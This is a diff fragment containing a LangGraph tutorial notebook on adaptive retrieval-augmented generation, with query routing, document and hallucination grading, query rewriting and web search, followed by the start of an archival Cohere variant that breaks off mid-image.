RAG](https://blog.langchain.dev/agentic-rag-with-langgraph/).\n", + "\n", + "In the [paper](https://arxiv.org/abs/2403.14403), they report query analysis to route across:\n", + "\n", + "* No Retrieval\n", + "* Single-shot RAG\n", + "* Iterative RAG\n", + "\n", + "Let's build on this using LangGraph. \n", + "\n", + "In our implementation, we will route between:\n", + "\n", + "* Web search: for questions related to recent events\n", + "* Self-corrective RAG: for questions related to our index\n", + "\n", + "![Screenshot 2024-03-26 at 1.36.03 PM.png](attachment:36fa621a-9d3d-4860-a17c-5d20e6987481.png)" + ] + }, + { + "cell_type": "markdown", + "id": "a85501ca-eb89-4795-aeab-cdab050ead6b", + "metadata": {}, + "source": [ + "## Setup\n", + "\n", + "First, let's install our required packages and set our API keys" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "53d1a740-9fea-4a6e-8f95-fb9dbf1c80a1", + "metadata": {}, + "outputs": [], + "source": [ + "%%capture --no-stderr\n", + "! pip install -U langchain_community tiktoken langchain-openai langchain-cohere langchainhub chromadb langchain langgraph tavily-python" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "222f204d-956f-4128-b597-2c698120edda", + "metadata": {}, + "outputs": [], + "source": [ + "import getpass\n", + "import os\n", + "\n", + "\n", + "def _set_env(var: str):\n", + " if not os.environ.get(var):\n", + " os.environ[var] = getpass.getpass(f\"{var}: \")\n", + "\n", + "\n", + "_set_env(\"OPENAI_API_KEY\")\n", + "_set_env(\"COHERE_API_KEY\")\n", + "_set_env(\"TAVILY_API_KEY\")" + ] + }, + { + "cell_type": "markdown", + "id": "47e04b18", + "metadata": {}, + "source": [ + "
\n", + "

Set up LangSmith for LangGraph development

\n", + "

\n", + " Sign up for LangSmith to quickly spot issues and improve the performance of your LangGraph projects. LangSmith lets you use trace data to debug, test, and monitor your LLM apps built with LangGraph — read more about how to get started here. \n", + "

\n", + "
" + ] + }, + { + "cell_type": "markdown", + "id": "9ac1c2cd-81fb-40eb-8ba1-e9197800cba6", + "metadata": {}, + "source": [ + "## Create Index" + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "id": "b224e5ba-50ca-495a-a7fa-0f75a080e03c", + "metadata": {}, + "outputs": [], + "source": [ + "### Build Index\n", + "\n", + "from langchain.text_splitter import RecursiveCharacterTextSplitter\n", + "from langchain_community.document_loaders import WebBaseLoader\n", + "from langchain_community.vectorstores import Chroma\n", + "from langchain_openai import OpenAIEmbeddings\n", + "\n", + "### from langchain_cohere import CohereEmbeddings\n", + "\n", + "# Set embeddings\n", + "embd = OpenAIEmbeddings()\n", + "\n", + "# Docs to index\n", + "urls = [\n", + " \"https://lilianweng.github.io/posts/2023-06-23-agent/\",\n", + " \"https://lilianweng.github.io/posts/2023-03-15-prompt-engineering/\",\n", + " \"https://lilianweng.github.io/posts/2023-10-25-adv-attack-llm/\",\n", + "]\n", + "\n", + "# Load\n", + "docs = [WebBaseLoader(url).load() for url in urls]\n", + "docs_list = [item for sublist in docs for item in sublist]\n", + "\n", + "# Split\n", + "text_splitter = RecursiveCharacterTextSplitter.from_tiktoken_encoder(\n", + " chunk_size=500, chunk_overlap=0\n", + ")\n", + "doc_splits = text_splitter.split_documents(docs_list)\n", + "\n", + "# Add to vectorstore\n", + "vectorstore = Chroma.from_documents(\n", + " documents=doc_splits,\n", + " collection_name=\"rag-chroma\",\n", + " embedding=embd,\n", + ")\n", + "retriever = vectorstore.as_retriever()" + ] + }, + { + "cell_type": "markdown", + "id": "0f52b427-750c-40f8-8893-e9caab3afd8d", + "metadata": {}, + "source": [ + "## LLMs" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "id": "4dec9d98-f3dc-4b7f-abc0-9d01c754f2be", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "datasource='web_search'\n", + "datasource='vectorstore'\n" + ] + } + ], + "source": [ + "### Router\n", + "\n", + "from typing import Literal\n", + "\n", + "from langchain_core.prompts import ChatPromptTemplate\n", + "from langchain_core.pydantic_v1 import BaseModel, Field\n", + "from langchain_openai import ChatOpenAI\n", + "\n", + "\n", + "# Data model\n", + "class RouteQuery(BaseModel):\n", + " \"\"\"Route a user query to the most relevant datasource.\"\"\"\n", + "\n", + " datasource: Literal[\"vectorstore\", \"web_search\"] = Field(\n", + " ...,\n", + " description=\"Given a user question choose to route it to web search or a vectorstore.\",\n", + " )\n", + "\n", + "\n", + "# LLM with function call\n", + "llm = ChatOpenAI(model=\"gpt-4o-mini\", temperature=0)\n", + "structured_llm_router = llm.with_structured_output(RouteQuery)\n", + "\n", + "# Prompt\n", + "system = \"\"\"You are an expert at routing a user question to a vectorstore or web search.\n", + "The vectorstore contains documents related to agents, prompt engineering, and adversarial attacks.\n", + "Use the vectorstore for questions on these topics. Otherwise, use web-search.\"\"\"\n", + "route_prompt = ChatPromptTemplate.from_messages(\n", + " [\n", + " (\"system\", system),\n", + " (\"human\", \"{question}\"),\n", + " ]\n", + ")\n", + "\n", + "question_router = route_prompt | structured_llm_router\n", + "print(\n", + " question_router.invoke(\n", + " {\"question\": \"Who will the Bears draft first in the NFL draft?\"}\n", + " )\n", + ")\n", + "print(question_router.invoke({\"question\": \"What are the types of agent memory?\"}))" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "id": "856801cb-f42a-44e7-956f-47845e3664ca", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "binary_score='no'\n" + ] + } + ], + "source": [ + "### Retrieval Grader\n", + "\n", + "\n", + "# Data model\n", + "class GradeDocuments(BaseModel):\n", + " \"\"\"Binary score for relevance check on retrieved documents.\"\"\"\n", + "\n", + " binary_score: str = Field(\n", + " description=\"Documents are relevant to the question, 'yes' or 'no'\"\n", + " )\n", + "\n", + "\n", + "# LLM with function call\n", + "llm = ChatOpenAI(model=\"gpt-4o-mini\", temperature=0)\n", + "structured_llm_grader = llm.with_structured_output(GradeDocuments)\n", + "\n", + "# Prompt\n", + "system = \"\"\"You are a grader assessing relevance of a retrieved document to a user question. \\n \n", + " If the document contains keyword(s) or semantic meaning related to the user question, grade it as relevant. \\n\n", + " It does not need to be a stringent test. The goal is to filter out erroneous retrievals. \\n\n", + " Give a binary score 'yes' or 'no' score to indicate whether the document is relevant to the question.\"\"\"\n", + "grade_prompt = ChatPromptTemplate.from_messages(\n", + " [\n", + " (\"system\", system),\n", + " (\"human\", \"Retrieved document: \\n\\n {document} \\n\\n User question: {question}\"),\n", + " ]\n", + ")\n", + "\n", + "retrieval_grader = grade_prompt | structured_llm_grader\n", + "question = \"agent memory\"\n", + "docs = retriever.get_relevant_documents(question)\n", + "doc_txt = docs[1].page_content\n", + "print(retrieval_grader.invoke({\"question\": question, \"document\": doc_txt}))" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "id": "2272333e-50b2-42ab-b472-e1055a3b94a8", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "The design of generative agents combines LLM with memory, planning, and reflection mechanisms to enable agents to behave based on past experience and interact with other agents. Memory stream is a long-term memory module that records agents' experiences in natural language. The retrieval model surfaces context to inform the agent's behavior based on relevance, recency, and importance.\n" + ] + } + ], + "source": [ + "### Generate\n", + "\n", + "from langchain import hub\n", + "from langchain_core.output_parsers import StrOutputParser\n", + "\n", + "# Prompt\n", + "prompt = hub.pull(\"rlm/rag-prompt\")\n", + "\n", + "# LLM\n", + "llm = ChatOpenAI(model_name=\"gpt-3.5-turbo\", temperature=0)\n", + "\n", + "\n", + "# Post-processing\n", + "def format_docs(docs):\n", + " return \"\\n\\n\".join(doc.page_content for doc in docs)\n", + "\n", + "\n", + "# Chain\n", + "rag_chain = prompt | llm | StrOutputParser()\n", + "\n", + "# Run\n", + "generation = rag_chain.invoke({\"context\": docs, \"question\": question})\n", + "print(generation)" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "id": "f0c08d14-77a0-4eed-b882-2d636abb22a3", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "GradeHallucinations(binary_score='yes')" + ] + }, + "execution_count": 6, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Hallucination Grader\n", + "\n", + "\n", + "# Data model\n", + "class GradeHallucinations(BaseModel):\n", + " \"\"\"Binary score for hallucination present in generation answer.\"\"\"\n", + "\n", + " binary_score: str = Field(\n", + " description=\"Answer is grounded in the facts, 'yes' or 'no'\"\n", + " )\n", + "\n", + "\n", + "# LLM with function call\n", + "llm = ChatOpenAI(model=\"gpt-4o-mini\", temperature=0)\n", + "structured_llm_grader = llm.with_structured_output(GradeHallucinations)\n", + "\n", + "# Prompt\n", + "system = \"\"\"You are a grader assessing whether an LLM generation is grounded in / supported by a set of retrieved facts. \\n \n", + " Give a binary score 'yes' or 'no'. 'Yes' means that the answer is grounded in / supported by the set of facts.\"\"\"\n", + "hallucination_prompt = ChatPromptTemplate.from_messages(\n", + " [\n", + " (\"system\", system),\n", + " (\"human\", \"Set of facts: \\n\\n {documents} \\n\\n LLM generation: {generation}\"),\n", + " ]\n", + ")\n", + "\n", + "hallucination_grader = hallucination_prompt | structured_llm_grader\n", + "hallucination_grader.invoke({\"documents\": docs, \"generation\": generation})" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "id": "ded99680-437a-4c9d-b860-619c88949d84", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "GradeAnswer(binary_score='yes')" + ] + }, + "execution_count": 7, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Answer Grader\n", + "\n", + "\n", + "# Data model\n", + "class GradeAnswer(BaseModel):\n", + " \"\"\"Binary score to assess answer addresses question.\"\"\"\n", + "\n", + " binary_score: str = Field(\n", + " description=\"Answer addresses the question, 'yes' or 'no'\"\n", + " )\n", + "\n", + "\n", + "# LLM with function call\n", + "llm = ChatOpenAI(model=\"gpt-4o-mini\", temperature=0)\n", + "structured_llm_grader = llm.with_structured_output(GradeAnswer)\n", + "\n", + "# Prompt\n", + "system = \"\"\"You are a grader assessing whether an answer addresses / resolves a question \\n \n", + " Give a binary score 'yes' or 'no'. Yes' means that the answer resolves the question.\"\"\"\n", + "answer_prompt = ChatPromptTemplate.from_messages(\n", + " [\n", + " (\"system\", system),\n", + " (\"human\", \"User question: \\n\\n {question} \\n\\n LLM generation: {generation}\"),\n", + " ]\n", + ")\n", + "\n", + "answer_grader = answer_prompt | structured_llm_grader\n", + "answer_grader.invoke({\"question\": question, \"generation\": generation})" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "id": "9d75f1d7-a47a-4577-bb0d-84b504b0867e", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "\"What is the role of memory in an agent's functioning?\"" + ] + }, + "execution_count": 8, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Question Re-writer\n", + "\n", + "# LLM\n", + "llm = ChatOpenAI(model=\"gpt-3.5-turbo-0125\", temperature=0)\n", + "\n", + "# Prompt\n", + "system = \"\"\"You a question re-writer that converts an input question to a better version that is optimized \\n \n", + " for vectorstore retrieval. Look at the input and try to reason about the underlying semantic intent / meaning.\"\"\"\n", + "re_write_prompt = ChatPromptTemplate.from_messages(\n", + " [\n", + " (\"system\", system),\n", + " (\n", + " \"human\",\n", + " \"Here is the initial question: \\n\\n {question} \\n Formulate an improved question.\",\n", + " ),\n", + " ]\n", + ")\n", + "\n", + "question_rewriter = re_write_prompt | llm | StrOutputParser()\n", + "question_rewriter.invoke({\"question\": question})" + ] + }, + { + "cell_type": "markdown", + "id": "d07c0b31-b919-4498-869f-9673125c2473", + "metadata": {}, + "source": [ + "## Web Search Tool" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "id": "01d829bb-1074-4976-b650-ead41dcb9788", + "metadata": {}, + "outputs": [], + "source": [ + "### Search\n", + "\n", + "from langchain_community.tools.tavily_search import TavilySearchResults\n", + "\n", + "web_search_tool = TavilySearchResults(k=3)" + ] + }, + { + "cell_type": "markdown", + "id": "efbbff0e-8843-45bb-b2ff-137bef707ef4", + "metadata": {}, + "source": [ + "## Construct the Graph \n", + "\n", + "Capture the flow in as a graph.\n", + "\n", + "### Define Graph State" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "id": "e723fcdb-06e6-402d-912e-899795b78408", + "metadata": {}, + "outputs": [], + "source": [ + "from typing import List\n", + "\n", + "from typing_extensions import TypedDict\n", + "\n", + "\n", + "class GraphState(TypedDict):\n", + " \"\"\"\n", + " Represents the state of our graph.\n", + "\n", + " Attributes:\n", + " question: question\n", + " generation: LLM generation\n", + " documents: list of documents\n", + " \"\"\"\n", + "\n", + " question: str\n", + " generation: str\n", + " documents: List[str]" + ] + }, + { + "cell_type": "markdown", + "id": "7e2d6c0d-42e8-4399-9751-e315be16607a", + "metadata": {}, + "source": [ + "### Define Graph Flow " + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "id": "b76b5ec3-0720-443d-85b1-c0e79659ca0a", + "metadata": {}, + "outputs": [], + "source": [ + "from langchain.schema import Document\n", + "\n", + "\n", + "def retrieve(state):\n", + " \"\"\"\n", + " Retrieve documents\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, documents, that contains retrieved documents\n", + " \"\"\"\n", + " print(\"---RETRIEVE---\")\n", + " question = state[\"question\"]\n", + "\n", + " # Retrieval\n", + " documents = retriever.invoke(question)\n", + " return {\"documents\": documents, \"question\": question}\n", + "\n", + "\n", + "def generate(state):\n", + " \"\"\"\n", + " Generate answer\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, generation, that contains LLM generation\n", + " \"\"\"\n", + " print(\"---GENERATE---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # RAG generation\n", + " generation = rag_chain.invoke({\"context\": documents, \"question\": question})\n", + " return {\"documents\": documents, \"question\": question, \"generation\": generation}\n", + "\n", + "\n", + "def grade_documents(state):\n", + " \"\"\"\n", + " Determines whether the retrieved documents are relevant to the question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates documents key with only filtered relevant documents\n", + " \"\"\"\n", + "\n", + " print(\"---CHECK DOCUMENT RELEVANCE TO QUESTION---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # Score each doc\n", + " filtered_docs = []\n", + " for d in documents:\n", + " score = retrieval_grader.invoke(\n", + " {\"question\": question, \"document\": d.page_content}\n", + " )\n", + " grade = score.binary_score\n", + " if grade == \"yes\":\n", + " print(\"---GRADE: DOCUMENT RELEVANT---\")\n", + " filtered_docs.append(d)\n", + " else:\n", + " print(\"---GRADE: DOCUMENT NOT RELEVANT---\")\n", + " continue\n", + " return {\"documents\": filtered_docs, \"question\": question}\n", + "\n", + "\n", + "def transform_query(state):\n", + " \"\"\"\n", + " Transform the query to produce a better question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates question key with a re-phrased question\n", + " \"\"\"\n", + "\n", + " print(\"---TRANSFORM QUERY---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # Re-write question\n", + " better_question = question_rewriter.invoke({\"question\": question})\n", + " return {\"documents\": documents, \"question\": better_question}\n", + "\n", + "\n", + "def web_search(state):\n", + " \"\"\"\n", + " Web search based on the re-phrased question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates documents key with appended web results\n", + " \"\"\"\n", + "\n", + " print(\"---WEB SEARCH---\")\n", + " question = state[\"question\"]\n", + "\n", + " # Web search\n", + " docs = web_search_tool.invoke({\"query\": question})\n", + " web_results = \"\\n\".join([d[\"content\"] for d in docs])\n", + " web_results = Document(page_content=web_results)\n", + "\n", + " return {\"documents\": web_results, \"question\": question}\n", + "\n", + "\n", + "### Edges ###\n", + "\n", + "\n", + "def route_question(state):\n", + " \"\"\"\n", + " Route question to web search or RAG.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Next node to call\n", + " \"\"\"\n", + "\n", + " print(\"---ROUTE QUESTION---\")\n", + " question = state[\"question\"]\n", + " source = question_router.invoke({\"question\": question})\n", + " if source.datasource == \"web_search\":\n", + " print(\"---ROUTE QUESTION TO WEB SEARCH---\")\n", + " return \"web_search\"\n", + " elif source.datasource == \"vectorstore\":\n", + " print(\"---ROUTE QUESTION TO RAG---\")\n", + " return \"vectorstore\"\n", + "\n", + "\n", + "def decide_to_generate(state):\n", + " \"\"\"\n", + " Determines whether to generate an answer, or re-generate a question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Binary decision for next node to call\n", + " \"\"\"\n", + "\n", + " print(\"---ASSESS GRADED DOCUMENTS---\")\n", + " state[\"question\"]\n", + " filtered_documents = state[\"documents\"]\n", + "\n", + " if not filtered_documents:\n", + " # All documents have been filtered check_relevance\n", + " # We will re-generate a new query\n", + " print(\n", + " \"---DECISION: ALL DOCUMENTS ARE NOT RELEVANT TO QUESTION, TRANSFORM QUERY---\"\n", + " )\n", + " return \"transform_query\"\n", + " else:\n", + " # We have relevant documents, so generate answer\n", + " print(\"---DECISION: GENERATE---\")\n", + " return \"generate\"\n", + "\n", + "\n", + "def grade_generation_v_documents_and_question(state):\n", + " \"\"\"\n", + " Determines whether the generation is grounded in the document and answers question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Decision for next node to call\n", + " \"\"\"\n", + "\n", + " print(\"---CHECK HALLUCINATIONS---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + " generation = state[\"generation\"]\n", + "\n", + " score = hallucination_grader.invoke(\n", + " {\"documents\": documents, \"generation\": generation}\n", + " )\n", + " grade = score.binary_score\n", + "\n", + " # Check hallucination\n", + " if grade == \"yes\":\n", + " print(\"---DECISION: GENERATION IS GROUNDED IN DOCUMENTS---\")\n", + " # Check question-answering\n", + " print(\"---GRADE GENERATION vs QUESTION---\")\n", + " score = answer_grader.invoke({\"question\": question, \"generation\": generation})\n", + " grade = score.binary_score\n", + " if grade == \"yes\":\n", + " print(\"---DECISION: GENERATION ADDRESSES QUESTION---\")\n", + " return \"useful\"\n", + " else:\n", + " print(\"---DECISION: GENERATION DOES NOT ADDRESS QUESTION---\")\n", + " return \"not useful\"\n", + " else:\n", + " pprint(\"---DECISION: GENERATION IS NOT GROUNDED IN DOCUMENTS, RE-TRY---\")\n", + " return \"not supported\"" + ] + }, + { + "cell_type": "markdown", + "id": "3ab01f36-5628-49ab-bfd3-84bb6f1a1b0f", + "metadata": {}, + "source": [ + "### Compile Graph" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "id": "67854e07-9293-4c3c-bf9a-bc9a605570ee", + "metadata": {}, + "outputs": [], + "source": [ + "from langgraph.graph import END, StateGraph, START\n", + "\n", + "workflow = StateGraph(GraphState)\n", + "\n", + "# Define the nodes\n", + "workflow.add_node(\"web_search\", web_search) # web search\n", + "workflow.add_node(\"retrieve\", retrieve) # retrieve\n", + "workflow.add_node(\"grade_documents\", grade_documents) # grade documents\n", + "workflow.add_node(\"generate\", generate) # generate\n", + "workflow.add_node(\"transform_query\", transform_query) # transform_query\n", + "\n", + "# Build graph\n", + "workflow.add_conditional_edges(\n", + " START,\n", + " route_question,\n", + " {\n", + " \"web_search\": \"web_search\",\n", + " \"vectorstore\": \"retrieve\",\n", + " },\n", + ")\n", + "workflow.add_edge(\"web_search\", \"generate\")\n", + "workflow.add_edge(\"retrieve\", \"grade_documents\")\n", + "workflow.add_conditional_edges(\n", + " \"grade_documents\",\n", + " decide_to_generate,\n", + " {\n", + " \"transform_query\": \"transform_query\",\n", + " \"generate\": \"generate\",\n", + " },\n", + ")\n", + "workflow.add_edge(\"transform_query\", \"retrieve\")\n", + "workflow.add_conditional_edges(\n", + " \"generate\",\n", + " grade_generation_v_documents_and_question,\n", + " {\n", + " \"not supported\": \"generate\",\n", + " \"useful\": END,\n", + " \"not useful\": \"transform_query\",\n", + " },\n", + ")\n", + "\n", + "# Compile\n", + "app = workflow.compile()" + ] + }, + { + "cell_type": "markdown", + "id": "85bce541", + "metadata": {}, + "source": [ + "## Use Graph" + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "id": "29acc541-d726-4b75-84d1-a215845fe88a", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "---ROUTE QUESTION---\n", + "---ROUTE QUESTION TO WEB SEARCH---\n", + "---WEB SEARCH---\n", + "\"Node 'web_search':\"\n", + "'\\n---\\n'\n", + "---GENERATE---\n", + "---CHECK HALLUCINATIONS---\n", + "---DECISION: GENERATION IS GROUNDED IN DOCUMENTS---\n", + "---GRADE GENERATION vs QUESTION---\n", + "---DECISION: GENERATION ADDRESSES QUESTION---\n", + "\"Node 'generate':\"\n", + "'\\n---\\n'\n", + "('It is expected that the Chicago Bears could have the opportunity to draft '\n", + " 'the first defensive player in the 2024 NFL draft. The Bears have the first '\n", + " 'overall pick in the draft, giving them a prime position to select top '\n", + " 'talent. The top wide receiver Marvin Harrison Jr. from Ohio State is also '\n", + " 'mentioned as a potential pick for the Cardinals.')\n" + ] + } + ], + "source": [ + "from pprint import pprint\n", + "\n", + "# Run\n", + "inputs = {\n", + " \"question\": \"What player at the Bears expected to draft first in the 2024 NFL draft?\"\n", + "}\n", + "for output in app.stream(inputs):\n", + " for key, value in output.items():\n", + " # Node\n", + " pprint(f\"Node '{key}':\")\n", + " # Optional: print full state at each node\n", + " # pprint.pprint(value[\"keys\"], indent=2, width=80, depth=None)\n", + " pprint(\"\\n---\\n\")\n", + "\n", + "# Final generation\n", + "pprint(value[\"generation\"])" + ] + }, + { + "cell_type": "markdown", + "id": "11fddd00-58bf-4910-bf36-be9e5bfba778", + "metadata": {}, + "source": [ + "Trace: \n", + "\n", + "https://smith.langchain.com/public/7e3aa7e5-c51f-45c2-bc66-b34f17ff2263/r" + ] + }, + { + "cell_type": "code", + "execution_count": 18, + "id": "69a985dd-03c6-45af-a67b-b15746a2cb5f", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "---ROUTE QUESTION---\n", + "---ROUTE QUESTION TO RAG---\n", + "---RETRIEVE---\n", + "\"Node 'retrieve':\"\n", + "'\\n---\\n'\n", + "---CHECK DOCUMENT RELEVANCE TO QUESTION---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---GRADE: DOCUMENT NOT RELEVANT---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---ASSESS GRADED DOCUMENTS---\n", + "---DECISION: GENERATE---\n", + "\"Node 'grade_documents':\"\n", + "'\\n---\\n'\n", + "---GENERATE---\n", + "---CHECK HALLUCINATIONS---\n", + "---DECISION: GENERATION IS GROUNDED IN DOCUMENTS---\n", + "---GRADE GENERATION vs QUESTION---\n", + "---DECISION: GENERATION ADDRESSES QUESTION---\n", + "\"Node 'generate':\"\n", + "'\\n---\\n'\n", + "('The types of agent memory include Sensory Memory, Short-Term Memory (STM) or '\n", + " 'Working Memory, and Long-Term Memory (LTM) with subtypes of Explicit / '\n", + " 'declarative memory and Implicit / procedural memory. Sensory memory retains '\n", + " 'sensory information briefly, STM stores information for cognitive tasks, and '\n", + " 'LTM stores information for a long time with different types of memories.')\n" + ] + } + ], + "source": [ + "# Run\n", + "inputs = {\"question\": \"What are the types of agent memory?\"}\n", + "for output in app.stream(inputs):\n", + " for key, value in output.items():\n", + " # Node\n", + " pprint(f\"Node '{key}':\")\n", + " # Optional: print full state at each node\n", + " # pprint.pprint(value[\"keys\"], indent=2, width=80, depth=None)\n", + " pprint(\"\\n---\\n\")\n", + "\n", + "# Final generation\n", + "pprint(value[\"generation\"])" + ] + }, + { + "cell_type": "markdown", + "id": "ebf41097-fc4c-4072-95b3-e7e07731ada1", + "metadata": {}, + "source": [ + "Trace: \n", + "\n", + "https://smith.langchain.com/public/fdf0a180-6d15-4d09-bb92-f84f2105ca51/r" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.8" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/rag/langgraph_adaptive_rag_cohere.ipynb b/examples/rag/langgraph_adaptive_rag_cohere.ipynb new file mode 100644 index 0000000..e373293 --- /dev/null +++ b/examples/rag/langgraph_adaptive_rag_cohere.ipynb @@ -0,0 +1,1103 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "ba8a450f", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. Please see the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview) for the most current information and resources." + ] + }, + { + "attachments": { + "2a4ecdd2-280d-4311-a2cd-cd6138090be9.png": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAABpMAAALQCAYAAAB8A4i9AAAMP2lDQ1BJQ0MgUHJvZmlsZQAASImVVwdYU8kWnluSkEBCCSAgJfQmCEgJICWEFkB6EWyEJEAoMQaCiB1dVHDtYgEbuiqi2AGxI3YWwd4XRRSUdbFgV96kgK77yvfO9829//3nzH/OnDu3DADqp7hicQ6qAUCuKF8SGxLAGJucwiB1AwTggAYIgMDl5YlZ0dERANrg+e/27ib0hnbNQab1z/7/app8QR4PACQa4jR+Hi8X4kMA4JU8sSQfAKKMN5+aL5Zh2IC2BCYI8UIZzlDgShlOU+B9cp/4WDbEzQCoqHG5kgwAaG2QZxTwMqAGrQ9iJxFfKAJAnQGxb27uZD7EqRDbQB8xxDJ9ZtoPOhl/00wb0uRyM4awYi5yUwkU5olzuNP+z3L8b8vNkQ7GsIJNLVMSGiubM6zb7ezJ4TKsBnGvKC0yCmItiD8I+XJ/iFFKpjQ0QeGPGvLy2LBmQBdiJz43MBxiQ4iDRTmREUo+LV0YzIEYrhC0UJjPiYdYD+KFgrygOKXPZsnkWGUstC5dwmYp+QtciTyuLNZDaXYCS6n/OlPAUepjtKLM+CSIKRBbFAgTIyGmQeyYlx0XrvQZXZTJjhz0kUhjZflbQBwrEIUEKPSxgnRJcKzSvzQ3b3C+2OZMISdSiQ/kZ8aHKuqDNfO48vzhXLA2gYiVMKgjyBsbMTgXviAwSDF3rFsgSohT6nwQ5wfEKsbiFHFOtNIfNxPkhMh4M4hd8wrilGPxxHy4IBX6eLo4PzpekSdelMUNi1bkgy8DEYANAgEDSGFLA5NBFhC29tb3witFTzDgAgnIAALgoGQGRyTJe0TwGAeKwJ8QCUDe0LgAea8AFED+6xCrODqAdHlvgXxENngKcS4IBznwWiofJRqKlgieQEb4j+hc2Hgw3xzYZP3/nh9kvzMsyEQoGelgRIb6oCcxiBhIDCUGE21xA9wX98Yj4NEfNheciXsOzuO7P+EpoZ3wmHCD0EG4M0lYLPkpyzGgA+oHK2uR9mMtcCuo6YYH4D5QHSrjurgBcMBdYRwW7gcju0GWrcxbVhXGT9p/m8EPd0PpR3Yio+RhZH+yzc8jaXY0tyEVWa1/rI8i17SherOHen6Oz/6h+nx4Dv/ZE1uIHcTOY6exi9gxrB4wsJNYA9aCHZfhodX1RL66BqPFyvPJhjrCf8QbvLOySuY51Tj1OH1R9OULCmXvaMCeLJ4mEWZk5jNY8IsgYHBEPMcRDBcnF1cAZN8XxevrTYz8u4Hotnzn5v0BgM/JgYGBo9+5sJMA7PeAj/+R75wNE346VAG4cIQnlRQoOFx2IMC3hDp80vSBMTAHNnA+LsAdeAN/EATCQBSIB8lgIsw+E65zCZgKZoC5oASUgWVgNVgPNoGtYCfYAw6AenAMnAbnwGXQBm6Ae3D1dIEXoA+8A58RBCEhVISO6CMmiCVij7ggTMQXCUIikFgkGUlFMhARIkVmIPOQMmQFsh7ZglQj+5EjyGnkItKO3EEeIT3Ia+QTiqFqqDZqhFqhI1EmykLD0Xh0ApqBTkGL0PnoEnQtWoXuRuvQ0+hl9Abagb5A+zGAqWK6mCnmgDExNhaFpWDpmASbhZVi5VgVVos1wvt8DevAerGPOBGn4wzcAa7gUDwB5+FT8Fn4Ynw9vhOvw5vxa/gjvA//RqASDAn2BC8ChzCWkEGYSighlBO2Ew4TzsJnqYvwjkgk6hKtiR7wWUwmZhGnExcTNxD3Ek8R24mdxH4SiaRPsif5kKJIXFI+qYS0jrSbdJJ0ldRF+qCiqmKi4qISrJKiIlIpVilX2aVyQuWqyjOVz2QNsiXZixxF5pOnkZeSt5EbyVfIXeTPFE2KNcWHEk/JosylrKXUUs5S7lPeqKqqmql6qsaoClXnqK5V3ad6QfWR6kc1LTU7NbbaeDWp2hK1HWqn1O6ovaFSqVZUf2oKNZ+6hFpNPUN9SP1Ao9McaRwanzabVkGro12lvVQnq1uqs9Qnqhepl6sfVL+i3qtB1rDSYGtwNWZpVGgc0bil0a9J13TWjNLM1VysuUvzoma3FknLSitIi681X2ur1hmtTjpGN6ez6Tz6PPo2+ll6lzZR21qbo52lXaa9R7tVu09HS8dVJ1GnUKdC57hOhy6ma6XL0c3RXap7QPem7qdhRsNYwwTDFg2rHXZ12Hu94Xr+egK9Ur29ejf0Pukz9IP0s/WX69frPzDADewMYgymGmw0OGvQO1x7uPdw3vDS4QeG3zVEDe0MYw2nG241bDHsNzI2CjESG60zOmPUa6xr7G+cZbzK+IRxjwndxNdEaLLK5KTJc4